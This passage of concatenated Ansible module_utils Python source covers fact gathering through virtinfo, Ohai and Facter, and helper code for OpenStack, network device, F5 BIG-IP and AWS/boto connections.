            #   virtinfo can only be run from the global zone
            try:
                for line in out.split('\n'):
                    fields = line.split('|')
                    if( fields[0] == 'DOMAINROLE' and fields[1] == 'impl=LDoms' ):
                        self.facts['virtualization_type'] = 'ldom'
                        self.facts['virtualization_role'] = 'guest'
                        hostfeatures = []
                        for field in fields[2:]:
                            arg = field.split('=')
                            if( arg[1] == 'true' ):
                                hostfeatures.append(arg[0])
                        if( len(hostfeatures) > 0 ):
                            self.facts['virtualization_role'] = 'host (' + ','.join(hostfeatures) + ')'
            except ValueError:
                pass

class Ohai(Facts):
    """
    This is a subclass of Facts for including information gathered from Ohai.
    """

    def populate(self):
        self.run_ohai()
        return self.facts

    def run_ohai(self):
        ohai_path = self.module.get_bin_path('ohai')
        if ohai_path is None:
            return
        rc, out, err = self.module.run_command(ohai_path)
        try:
            self.facts.update(json.loads(out))
        except:
            pass

class Facter(Facts):
    """
    This is a subclass of Facts for including information gathered from Facter.
    """
    def populate(self):
        self.run_facter()
        return self.facts

    def run_facter(self):
        facter_path = self.module.get_bin_path('facter', opt_dirs=['/opt/puppetlabs/bin'])
        cfacter_path = self.module.get_bin_path('cfacter', opt_dirs=['/opt/puppetlabs/bin'])
        # Prefer to use cfacter if available
        if cfacter_path is not None:
            facter_path = cfacter_path

        if facter_path is None:
            return

        # if facter is installed, and we can use --json because
        # ruby-json is ALSO installed, include facter data in the JSON
        rc, out, err = self.module.run_command(facter_path + " --puppet --json")
        try:
            self.facts = json.loads(out)
        except:
            pass


def get_file_content(path, default=None, strip=True):
    data = default
    if os.path.exists(path) and os.access(path, os.R_OK):
        try:
            try:
                datafile = open(path)
                data = datafile.read()
                if strip:
                    data = data.strip()
                if len(data) == 0:
                    data = default
            finally:
                datafile.close()
        except:
            # ignore errors as some jails/containers might have readable permissions but not allow reads to proc
            # done in 2 blocks for 2.4 compat
            pass
    return data

def get_uname_version(module):
    rc, out, err = module.run_command(['uname', '-v'])
    if rc == 0:
        return out
    return None

def get_partition_uuid(partname):
    try:
        uuids = os.listdir("/dev/disk/by-uuid")
    except OSError:
        return

    for uuid in uuids:
        dev = os.path.realpath("/dev/disk/by-uuid/" + uuid)
        if dev == ("/dev/" + partname):
            return uuid

    return None

def get_file_lines(path):
    '''get list of lines from file'''
    data = get_file_content(path)
    if data:
        ret = data.splitlines()
    else:
        ret = []
    return ret

def ansible_facts(module, gather_subset):
    facts = {}
    facts['gather_subset'] = list(gather_subset)
    facts.update(Facts(module).populate())
    for subset in gather_subset:
        facts.update(FACT_SUBSETS[subset](module,
                                         load_on_init=False,
                                         cached_facts=facts).populate())
    return facts

def get_all_facts(module):

    setup_options = dict(module_setup=True)

    # Retrieve module parameters
    gather_subset = module.params['gather_subset']

    global GATHER_TIMEOUT
    GATHER_TIMEOUT = module.params['gather_timeout']

    # Retrieve all facts elements
    additional_subsets = set()
    exclude_subsets = set()
    for subset in gather_subset:
        if subset == 'all':
            additional_subsets.update(VALID_SUBSETS)
            continue
        if subset.startswith('!'):
            subset = subset[1:]
            if subset == 'all':
                exclude_subsets.update(VALID_SUBSETS)
                continue
            exclude = True
        else:
            exclude = False

        if subset not in VALID_SUBSETS:
            raise TypeError("Bad subset '%s' given to Ansible. gather_subset options allowed: all, %s" % (subset, ", ".join(FACT_SUBSETS.keys())))

        if exclude:
            exclude_subsets.add(subset)
        else:
            additional_subsets.add(subset)

    if not additional_subsets:
        additional_subsets.update(VALID_SUBSETS)

    additional_subsets.difference_update(exclude_subsets)

    # facter and ohai are given a different prefix than other subsets
    if 'facter' in additional_subsets:
        additional_subsets.difference_update(('facter',))
        facter_ds = FACT_SUBSETS['facter'](module, load_on_init=False).populate()
        if facter_ds:
            for (k, v) in facter_ds.items():
                setup_options['facter_%s' % k.replace('-', '_')] = v

    if 'ohai' in additional_subsets:
        additional_subsets.difference_update(('ohai',))
        ohai_ds = FACT_SUBSETS['ohai'](module, load_on_init=False).populate()
        if ohai_ds:
            for (k, v) in ohai_ds.items():
                setup_options['ohai_%s' % k.replace('-', '_')] = v

    facts = ansible_facts(module, additional_subsets)

    for (k, v) in facts.items():
        setup_options["ansible_%s" % k.replace('-', '_')] = v

    setup_result = { 'ansible_facts': {} }

    for (k,v) in setup_options.items():
        if module.params['filter'] == '*' or fnmatch.fnmatch(k, module.params['filter']):
            setup_result['ansible_facts'][k] = v

    # hack to keep --verbose from showing all the setup module results
    setup_result['_ansible_verbose_override'] = True

    return setup_result

# Allowed fact subset for gather_subset options and what classes they use
# Note: have to define this at the bottom as it references classes defined earlier in this file
FACT_SUBSETS = dict(
    hardware=Hardware,
    network=Network,
    virtual=Virtual,
    ohai=Ohai,
    facter=Facter,
)
VALID_SUBSETS = frozenset(FACT_SUBSETS.keys())






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c) 2014 Hewlett-Packard Development Company, L.P.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import os


def openstack_argument_spec():
    # DEPRECATED: This argument spec is only used for the deprecated old
    # OpenStack modules. It turns out that modern OpenStack auth is WAY
    # more complex than this.
    # Consume standard OpenStack environment variables.
    # This is mainly only useful for ad-hoc command line operation as
    # in playbooks one would assume variables would be used appropriately
    OS_AUTH_URL=os.environ.get('OS_AUTH_URL', 'http://127.0.0.1:35357/v2.0/')
    OS_PASSWORD=os.environ.get('OS_PASSWORD', None)
    OS_REGION_NAME=os.environ.get('OS_REGION_NAME', None)
    OS_USERNAME=os.environ.get('OS_USERNAME', 'admin')
    OS_TENANT_NAME=os.environ.get('OS_TENANT_NAME', OS_USERNAME)

    spec = dict(
        login_username                  = dict(default=OS_USERNAME),
        auth_url                        = dict(default=OS_AUTH_URL),
        region_name                     = dict(default=OS_REGION_NAME),
        availability_zone               = dict(default=None),
    )
    if OS_PASSWORD:
        spec['login_password'] = dict(default=OS_PASSWORD)
    else:
        spec['login_password'] = dict(required=True)
    if OS_TENANT_NAME:
        spec['login_tenant_name'] = dict(default=OS_TENANT_NAME)
    else:
        spec['login_tenant_name'] = dict(required=True)
    return spec

def openstack_find_nova_addresses(addresses, ext_tag, key_name=None):

    ret = []
    for (k, v) in addresses.iteritems():
        if key_name and k == key_name:
            ret.extend([addrs['addr'] for addrs in v])
        else:
            for interface_spec in v:
                if 'OS-EXT-IPS:type' in interface_spec and interface_spec['OS-EXT-IPS:type'] == ext_tag:
                    ret.append(interface_spec['addr'])
    return ret

def openstack_full_argument_spec(**kwargs):
    spec = dict(
        cloud=dict(default=None),
        auth_type=dict(default=None),
        auth=dict(default=None, type='dict', no_log=True),
        region_name=dict(default=None),
        availability_zone=dict(default=None),
        verify=dict(default=True, type='bool', aliases=['validate_certs']),
        cacert=dict(default=None),
        cert=dict(default=None),
        key=dict(default=None, no_log=True),
        wait=dict(default=True, type='bool'),
        timeout=dict(default=180, type='int'),
        api_timeout=dict(default=None, type='int'),
        endpoint_type=dict(
            default='public', choices=['public', 'internal', 'admin']
        )
    )
    spec.update(kwargs)
    return spec


def openstack_module_kwargs(**kwargs):
    ret = {}
    for key in ('mutually_exclusive', 'required_together', 'required_one_of'):
        if key in kwargs:
            if key in ret:
                ret[key].extend(kwargs[key])
            else:
                ret[key] = kwargs[key]

    return ret






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c) 2015 Peter Sprygada, <psprygada@ansible.com>
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

import itertools

from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.basic import env_fallback, get_exception
from ansible.module_utils.netcli import Cli, Command
from ansible.module_utils.netcfg import Config

NET_TRANSPORT_ARGS = dict(
    host=dict(required=True),
    port=dict(type='int'),

    username=dict(fallback=(env_fallback, ['ANSIBLE_NET_USERNAME'])),
    password=dict(no_log=True, fallback=(env_fallback, ['ANSIBLE_NET_PASSWORD'])),
    ssh_keyfile=dict(fallback=(env_fallback, ['ANSIBLE_NET_SSH_KEYFILE']), type='path'),

    authorize=dict(default=False, fallback=(env_fallback, ['ANSIBLE_NET_AUTHORIZE']), type='bool'),
    auth_pass=dict(no_log=True, fallback=(env_fallback, ['ANSIBLE_NET_AUTH_PASS'])),

    provider=dict(type='dict'),
    transport=dict(choices=list()),

    timeout=dict(default=10, type='int')
)

NET_CONNECTION_ARGS = dict()

NET_CONNECTIONS = dict()


def to_list(val):
    if isinstance(val, (list, tuple)):
        return list(val)
    elif val is not None:
        return [val]
    else:
        return list()


class ModuleStub(object):
    def __init__(self, argument_spec, fail_json):
        self.params = dict()
        for key, value in argument_spec.items():
            self.params[key] = value.get('default')
        self.fail_json = fail_json

class NetworkError(Exception):

    def __init__(self, msg, **kwargs):
        super(NetworkError, self).__init__(msg)
        self.kwargs = kwargs


class NetworkModule(AnsibleModule):

    def __init__(self, *args, **kwargs):
        connect_on_load = kwargs.pop('connect_on_load', True)

        argument_spec = NET_TRANSPORT_ARGS.copy()
        argument_spec['transport']['choices'] = NET_CONNECTIONS.keys()
        argument_spec.update(NET_CONNECTION_ARGS.copy())

        if kwargs.get('argument_spec'):
            argument_spec.update(kwargs['argument_spec'])
        kwargs['argument_spec'] = argument_spec

        super(NetworkModule, self).__init__(*args, **kwargs)

        self.connection = None
        self._cli = None
        self._config = None

        try:
            transport = self.params['transport'] or '__default__'
            cls = NET_CONNECTIONS[transport]
            self.connection = cls()
        except KeyError:
            self.fail_json(msg='Unknown transport or no default transport specified')
        except (TypeError, NetworkError):
            exc = get_exception()
            self.fail_json(msg=exc.message)

        if connect_on_load:
            self.connect()

    @property
    def cli(self):
        if not self.connected:
            self.connect()
        if self._cli:
            return self._cli
        self._cli = Cli(self.connection)
        return self._cli

    @property
    def config(self):
        if not self.connected:
            self.connect()
        if self._config:
            return self._config
        self._config = Config(self.connection)
        return self._config

    @property
    def connected(self):
        return self.connection._connected

    def _load_params(self):
        super(NetworkModule, self)._load_params()
        provider = self.params.get('provider') or dict()
        for key, value in provider.items():
            for args in [NET_TRANSPORT_ARGS, NET_CONNECTION_ARGS]:
                if key in args:
                    if self.params.get(key) is None and value is not None:
                        self.params[key] = value

    def connect(self):
        try:
            if not self.connected:
                self.connection.connect(self.params)
                if self.params['authorize']:
                    self.connection.authorize(self.params)
        except NetworkError:
            exc = get_exception()
            self.fail_json(msg=exc.message)

    def disconnect(self):
        try:
            if self.connected:
                self.connection.disconnect()
        except NetworkError:
            exc = get_exception()
            self.fail_json(msg=exc.message)

def register_transport(transport, default=False):
    def register(cls):
        NET_CONNECTIONS[transport] = cls
        if default:
            NET_CONNECTIONS['__default__'] = cls
        return cls
    return register

def add_argument(key, value):
    NET_CONNECTION_ARGS[key] = value

def get_module(*args, **kwargs):
    # This is a temporary factory function to avoid break all modules
    # until the modules are updated.  This function *will* be removed
    # before 2.2 final
    return NetworkModule(*args, **kwargs)







#!/usr/bin/python
# -*- coding: utf-8 -*-

# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), Etienne Carrière <etienne.carriere@gmail.com>,2015
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

try:
    import bigsuds
except ImportError:
    bigsuds_found = False
else:
    bigsuds_found = True


def f5_argument_spec():
    return dict(
        server=dict(type='str', required=True),
        user=dict(type='str', required=True),
        password=dict(type='str', aliases=['pass', 'pwd'], required=True, no_log=True),
        validate_certs = dict(default='yes', type='bool'),
        server_port = dict(type='int', default=443, required=False),
        state = dict(type='str', default='present', choices=['present', 'absent']),
        partition = dict(type='str', default='Common')
    )


def f5_parse_arguments(module):
    if not bigsuds_found:
        module.fail_json(msg="the python bigsuds module is required")

    if module.params['validate_certs']:
        import ssl
        if not hasattr(ssl, 'SSLContext'):
            module.fail_json(msg='bigsuds does not support verifying certificates with python < 2.7.9.  Either update python or set validate_certs=False on the task')

    return (module.params['server'],module.params['user'],module.params['password'],module.params['state'],module.params['partition'],module.params['validate_certs'],module.params['server_port'])


def bigip_api(bigip, user, password, validate_certs, port=443):
    try:
        if bigsuds.__version__ >= '1.0.4':
            api = bigsuds.BIGIP(hostname=bigip, username=user, password=password, verify=validate_certs, port=port)
        elif bigsuds.__version__ == '1.0.3':
            api = bigsuds.BIGIP(hostname=bigip, username=user, password=password, verify=validate_certs)
        else:
            api = bigsuds.BIGIP(hostname=bigip, username=user, password=password)
    except TypeError:
        # bigsuds < 1.0.3, no verify param
        if validate_certs:
            # Note: verified we have SSLContext when we parsed params
            api = bigsuds.BIGIP(hostname=bigip, username=user, password=password)
        else:
            import ssl
            if hasattr(ssl, 'SSLContext'):
                # Really, you should never do this.  It disables certificate
                # verification *globally*.  But since older bigip libraries
                # don't give us a way to toggle verification we need to
                # disable it at the global level.
                # From https://www.python.org/dev/peps/pep-0476/#id29
                ssl._create_default_https_context = ssl._create_unverified_context
            api = bigsuds.BIGIP(hostname=bigip, username=user, password=password)

    return api


# Fully Qualified name (with the partition)
def fq_name(partition,name):
    if name is not None and not name.startswith('/'):
        return '/%s/%s' % (partition,name)
    return name


# Fully Qualified name (with partition) for a list
def fq_list_names(partition,list_names):
    if list_names is None:
        return None
    return map(lambda x: fq_name(partition,x),list_names)


class F5ModuleError(Exception):
    pass






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2012-2013
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import os
from time import sleep

try:
    import boto
    import boto.ec2 #boto does weird import stuff
    HAS_BOTO = True
except ImportError:
    HAS_BOTO = False

try:
    import boto3
    import botocore
    HAS_BOTO3 = True
except:
    HAS_BOTO3 = False

try:
    from distutils.version import LooseVersion
    HAS_LOOSE_VERSION = True
except:
    HAS_LOOSE_VERSION = False

from ansible.module_utils.six import string_types

class AnsibleAWSError(Exception):
    pass


def boto3_conn(module, conn_type=None, resource=None, region=None, endpoint=None, **params):
    try:
        return _boto3_conn(conn_type=conn_type, resource=resource, region=region, endpoint=endpoint, **params)
    except ValueError:
        module.fail_json(msg='There is an issue in the code of the module. You must specify either both, resource or client to the conn_type parameter in the boto3_conn function call')

def _boto3_conn(conn_type=None, resource=None, region=None, endpoint=None, **params):
    profile = params.pop('profile_name', None)

    if conn_type not in ['both', 'resource', 'client']:
        raise ValueError('There is an issue in the calling code. You '
                         'must specify either both, resource, or client to '
                         'the conn_type parameter in the boto3_conn function '
                         'call')

    if conn_type == 'resource':
        resource = boto3.session.Session(profile_name=profile).resource(resource, region_name=region, endpoint_url=endpoint, **params)
        return resource
    elif conn_type == 'client':
        client = boto3.session.Session(profile_name=profile).client(resource, region_name=region, endpoint_url=endpoint, **params)
        return client
    else:
        resource = boto3.session.Session(profile_name=profile).resource(resource, region_name=region, endpoint_url=endpoint, **params)
        client = boto3.session.Session(profile_name=profile).client(resource, region_name=region, endpoint_url=endpoint, **params)
        return client, resource

boto3_inventory_conn = _boto3_conn

def aws_common_argument_spec():
    return dict(
        ec2_url=dict(),
        aws_secret_key=dict(aliases=['ec2_secret_key', 'secret_key'], no_log=True),
        aws_access_key=dict(aliases=['ec2_access_key', 'access_key']),
        validate_certs=dict(default=True, type='bool'),
        security_token=dict(aliases=['access_token'], no_log=True),
        profile=dict(),
    )


def ec2_argument_spec():
    spec = aws_common_argument_spec()
    spec.update(
        dict(
            region=dict(aliases=['aws_region', 'ec2_region']),
        )
    )
    return spec


def get_aws_connection_info(module, boto3=False):

    # Check module args for credentials, then check environment vars
    # access_key

    ec2_url = module.params.get('ec2_url')
    access_key = module.params.get('aws_access_key')
    secret_key = module.params.get('aws_secret_key')
    security_token = module.params.get('security_token')
    region = module.params.get('region')
    profile_name = module.params.get('profile')
    validate_certs = module.params.get('validate_certs')

    if not ec2_url:
        if 'AWS_URL' in os.environ:
            ec2_url = os.environ['AWS_URL']
        elif 'EC2_URL' in os.environ:
            ec2_url = os.environ['EC2_URL']

    if not access_key:
        if 'AWS_ACCESS_KEY_ID' in os.environ:
            access_key = os.environ['AWS_ACCESS_KEY_ID']
        elif 'AWS_ACCESS_KEY' in os.environ:
            access_key = os.environ['AWS_ACCESS_KEY']
        elif 'EC2_ACCESS_KEY' in os.environ:
            access_key = os.environ['EC2_ACCESS_KEY']
        else:
            # in case access_key came in as empty string
            access_key = None

    if not secret_key:
        if 'AWS_SECRET_ACCESS_KEY' in os.environ:
            secret_key = os.environ['AWS_SECRET_ACCESS_KEY']
        elif 'AWS_SECRET_KEY' in os.environ:
            secret_key = os.environ['AWS_SECRET_KEY']
        elif 'EC2_SECRET_KEY' in os.environ:
            secret_key = os.environ['EC2_SECRET_KEY']
        else:
            # in case secret_key came in as empty string
            secret_key = None

    if not region:
        if 'AWS_REGION' in os.environ:
            region = os.environ['AWS_REGION']
        elif 'AWS_DEFAULT_REGION' in os.environ:
            region = os.environ['AWS_DEFAULT_REGION']
        elif 'EC2_REGION' in os.environ:
            region = os.environ['EC2_REGION']
        else:
            if not boto3:
                # boto.config.get returns None if config not found
                region = boto.config.get('Boto', 'aws_region')
                if not region:
                    region = boto.config.get('Boto', 'ec2_region')
            elif HAS_BOTO3:
                # here we don't need to make an additional call, will default to 'us-east-1' if the below evaluates to None.
                region = botocore.session.get_session().get_config_variable('region')
            else:
                module.fail_json(msg="Boto3 is required for this module. Please install boto3 and try again")

    if not security_token:
        if 'AWS_SECURITY_TOKEN' in os.environ:
            security_token = os.environ['AWS_SECURITY_TOKEN']
        elif 'AWS_SESSION_TOKEN' in os.environ:
            security_token = os.environ['AWS_SESSION_TOKEN']
        elif 'EC2_SECURITY_TOKEN' in os.environ:
            security_token = os.environ['EC2_SECURITY_TOKEN']
        else:
            # in case security_token came in as empty string
            security_token = None

    if HAS_BOTO3 and boto3:
        boto_params = dict(aws_access_key_id=access_key,
                           aws_secret_access_key=secret_key,
                           aws_session_token=security_token)
        boto_params['verify'] = validate_certs

        if profile_name:
            boto_params['profile_name'] = profile_name

    else:
        boto_params = dict(aws_access_key_id=access_key,
                           aws_secret_access_key=secret_key,
                           security_token=security_token)

        # only set profile_name if passed as an argument
        if profile_name:
            boto_params['profile_name'] = profile_name

        boto_params['validate_certs'] = validate_certs

    for param, value in boto_params.items():
        if isinstance(value, str):
            boto_params[param] = unicode(value, 'utf-8', 'strict')

    return region, ec2_url, boto_params


def get_ec2_creds(module):
    ''' for compatibility mode with old modules that don't/can't yet
        use ec2_connect method '''
    region, ec2_url, boto_params = get_aws_connection_info(module)
    return ec2_url, boto_params['aws_access_key_id'], boto_params['aws_secret_access_key'], region


def boto_fix_security_token_in_profile(conn, profile_name):
    ''' monkey patch for boto issue boto/boto#2100 '''
    profile = 'profile ' + profile_name
    if boto.config.has_option(profile, 'aws_security_token'):
        conn.provider.set_security_token(boto.config.get(profile, 'aws_security_token'))
    return conn


def connect_to_aws(aws_module, region, **params):
    conn = aws_module.connect_to_region(region, **params)
    if not conn:
        if region not in [aws_module_region.name for aws_module_region in aws_module.regions()]:
            raise AnsibleAWSError("Region %s does not seem to be available for aws module %s. If the region definitely exists, you may need to upgrade boto or extend with endpoints_path" % (region, aws_module.__name__))
        else:
            raise AnsibleAWSError("Unknown problem connecting to region %s for aws module %s." % (region, aws_module.__name__))
    if params.get('profile_name'):
        conn = boto_fix_security_token_in_profile(conn, params['profile_name'])
    return conn


def ec2_connect(module):

    """ Return an ec2 connection"""

    region, ec2_url, boto_params = get_aws_connection_info(module)

    # If we have a region specified, connect to its endpoint.
    if region:
        try:
            ec2 = connect_to_aws(boto.ec2, region, **boto_params)
        except (boto.exception.NoAuthHandlerFound, AnsibleAWSError) as e:
            module.fail_json(msg=str(e))
    # Otherwise, no region so we fallback to the old connection method
    elif ec2_url:
        try:
            ec2 = boto.connect_ec2_endpoint(ec2_url, **boto_params)
        except (boto.exception.NoAuthHandlerFound, AnsibleAWSError) as e:
            module.fail_json(msg=str(e))
    else:
        module.fail_json(msg="Either region or ec2_url must be specified")

    return ec2

def paging(pause=0, marker_property='marker'):
    """ Adds paging to boto retrieval functions that support a 'marker'
        this is configurable as not all boto functions seem to use the
        same name.
    """
    def wrapper(f):
        def page(*args, **kwargs):
            results = []
            marker = None
            while True:
                try:
                    new = f(*args, marker=marker, **kwargs)
                    marker = getattr(new, marker_property)
                    results.extend(new)
                    if not marker:
                        break
                    elif pause:
                        sleep(pause)
                except TypeError:
                    # Older version of boto do not allow for marker param, just run normally
                    results = f(*args, **kwargs)
                    break
            return results
        return page
    return wrapper


def camel_dict_to_snake_dict(camel_dict):

    def camel_to_snake(name):

        import re

        first_cap_re = re.compile('(.)([A-Z][a-z]+)')
        all_cap_re = re.compile('([a-z0-9])([A-Z])')
        s1 = first_cap_re.sub(r'\1_\2', name)

        return all_cap_re.sub(r'\1_\2', s1).lower()


    def value_is_list(camel_list):

        checked_list = []
        for item in camel_list:
            if isinstance(item, dict):
                checked_list.append(camel_dict_to_snake_dict(item))
            elif isinstance(item, list):
                checked_list.append(value_is_list(item))
            else:
                checked_list.append(item)

        return checked_list


    snake_dict = {}
    for k, v in camel_dict.iteritems():
        if isinstance(v, dict):
            snake_dict[camel_to_snake(k)] = camel_dict_to_snake_dict(v)
        elif isinstance(v, list):
            snake_dict[camel_to_snake(k)] = value_is_list(v)
        else:
            snake_dict[camel_to_snake(k)] = v

    return snake_dict


def ansible_dict_to_boto3_filter_list(filters_dict):

    """ Convert an Ansible dict of filters to list of dicts that boto3 can use
    Args:
        filters_dict (dict): Dict of AWS filters.
    Basic Usage:
        >>> filters = {'some-aws-id', 'i-01234567'}
        >>> ansible_dict_to_boto3_filter_list(filters)
        {
            'some-aws-id': 'i-01234567'
        }
    Returns:
        List: List of AWS filters and their values
        [
            {
                'Name': 'some-aws-id',
                'Values': [
                    'i-01234567',
                ]
            }
        ]
    """

    filters_list = []
    for k,v in filters_dict.iteritems():
        filter_dict = {'Name': k}
        if isinstance(v, string_types):
            filter_dict['Values'] = [v]
        else:
            filter_dict['Values'] = v

        filters_list.append(filter_dict)

    return filters_list


def boto3_tag_list_to_ansible_dict(tags_list):

    """ Convert a boto3 list of resource tags to a flat dict of key:value pairs
    Args:
        tags_list (list): List of dicts representing AWS tags.
    Basic Usage:
        >>> tags_list = [{'Key': 'MyTagKey', 'Value': 'MyTagValue'}]
        >>> boto3_tag_list_to_ansible_dict(tags_list)
        [
            {
                'Key': 'MyTagKey',
                'Value': 'MyTagValue'
            }
        ]
    Returns:
        Dict: Dict of key:value pairs representing AWS tags
         {
            'MyTagKey': 'MyTagValue',
        }
    """

    tags_dict = {}
    for tag in tags_list:
        if 'key' in tag:
            tags_dict[tag['key']] = tag['value']
        elif 'Key' in tag:
            tags_dict[tag['Key']] = tag['Value']

    return tags_dict


def ansible_dict_to_boto3_tag_list(tags_dict):

    """ Convert a flat dict of key:value pairs representing AWS resource tags to a boto3 list of dicts
    Args:
        tags_dict (dict): Dict representing AWS resource tags.
    Basic Usage:
        >>> tags_dict = {'MyTagKey': 'MyTagValue'}
        >>> ansible_dict_to_boto3_tag_list(tags_dict)
        {
            'MyTagKey': 'MyTagValue'
        }
    Returns:
        List: List of dicts containing tag keys and values
        [
            {
                'Key': 'MyTagKey',
                'Value': 'MyTagValue'
            }
        ]
    """

    tags_list = []
    for k,v in tags_dict.iteritems():
        tags_list.append({'Key': k, 'Value': v})

    return tags_list


def get_ec2_security_group_ids_from_names(sec_group_list, ec2_connection, vpc_id=None, boto3=True):

    """ Return list of security group IDs from security group names. Note that security group names are not unique
     across VPCs.  If a name exists across multiple VPCs and no VPC ID is supplied, all matching IDs will be returned. This
     will probably lead to a boto exception if you attempt to assign both IDs to a resource so ensure you wrap the call in
     a try block
     """

    def get_sg_name(sg, boto3):

        if boto3:
            return sg['GroupName']
        else:
            return sg.name


    def get_sg_id(sg, boto3):

        if boto3:
            return sg['GroupId']
        else:
            return sg.id


    sec_group_id_list = []

    if isinstance(sec_group_list, string_types):
        sec_group_list = [sec_group_list]

    # Get all security groups
    if boto3:
        if vpc_id:
            filters = [
                {
